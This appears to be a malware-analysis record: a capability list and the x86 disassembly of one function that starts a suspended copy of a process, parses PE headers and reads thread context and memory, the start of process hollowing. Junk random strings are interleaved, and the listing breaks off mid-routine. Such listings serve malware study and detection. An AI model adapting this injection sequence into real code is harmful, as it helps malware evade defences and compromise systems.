Function at 0x402e80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425216
mov eax, dword fs:[0]
push eax
sub esp, 0x964
mov eax, dword [0x446278]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8a4], str.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
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x8e0], str.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
mov edx, dword [ebp - 0x87c]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x40338f
mov dword [ebp - 0x8e8], str.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
push str._t1_if
call fcn.00405bb0
add esp, 4
mov ecx, dword [ebp - 0x87c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x864], edx
mov eax, dword [ebp - 0x864]
cmp dword [eax], 0x4550
jne 0x40338f
mov dword [ebp - 0x89c], str.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
push str._t2_if
call fcn.00405bb0
add esp, 4
push 0x44
push 0
lea ecx, [ebp - 0x858]
push ecx
call fcn.0040bec0
add esp, 0xc
push 0x10
push 0
push 0x447644
call fcn.0040bec0
add esp, 0xc
mov dword [ebp - 0x8dc], str.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
push 1
lea ecx, [ebp - 0x814]
call fcn.00405350
lea ecx, [ebp - 0x814]
call fcn.00402560
mov dword [ebp - 4], 0
push 0x42b094
lea ecx, [ebp - 0x814]
call fcn.00402d30
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x814]
call fcn.00402d30
lea ecx, [ebp - 0x814]
call fcn.00403da0
mov dword [ebp - 0x894], eax
push 0x447644
lea eax, [ebp - 0x858]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x814]
call fcn.00402ba0
push eax
lea ecx, [ebp - 0x970]
call fcn.004025c0
mov dword [ebp - 0x88c], eax
mov ecx, dword [ebp - 0x88c]
mov dword [ebp - 0x888], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x888]
call fcn.00402ba0
push eax
call fcn.0040c011
add esp, 4
push eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x890], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x970]
call fcn.004028b0
cmp dword [ebp - 0x890], 0
je 0x40337d
mov dword [ebp - 0x8cc], str.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
push str._t3_if
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x86c], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [eax], 0x10007
mov dword [ebp - 0x8ac], str.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
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x447648]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40337d
push str._t4_if
call fcn.00405bb0
add esp, 4
push 0
push 4
lea eax, [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
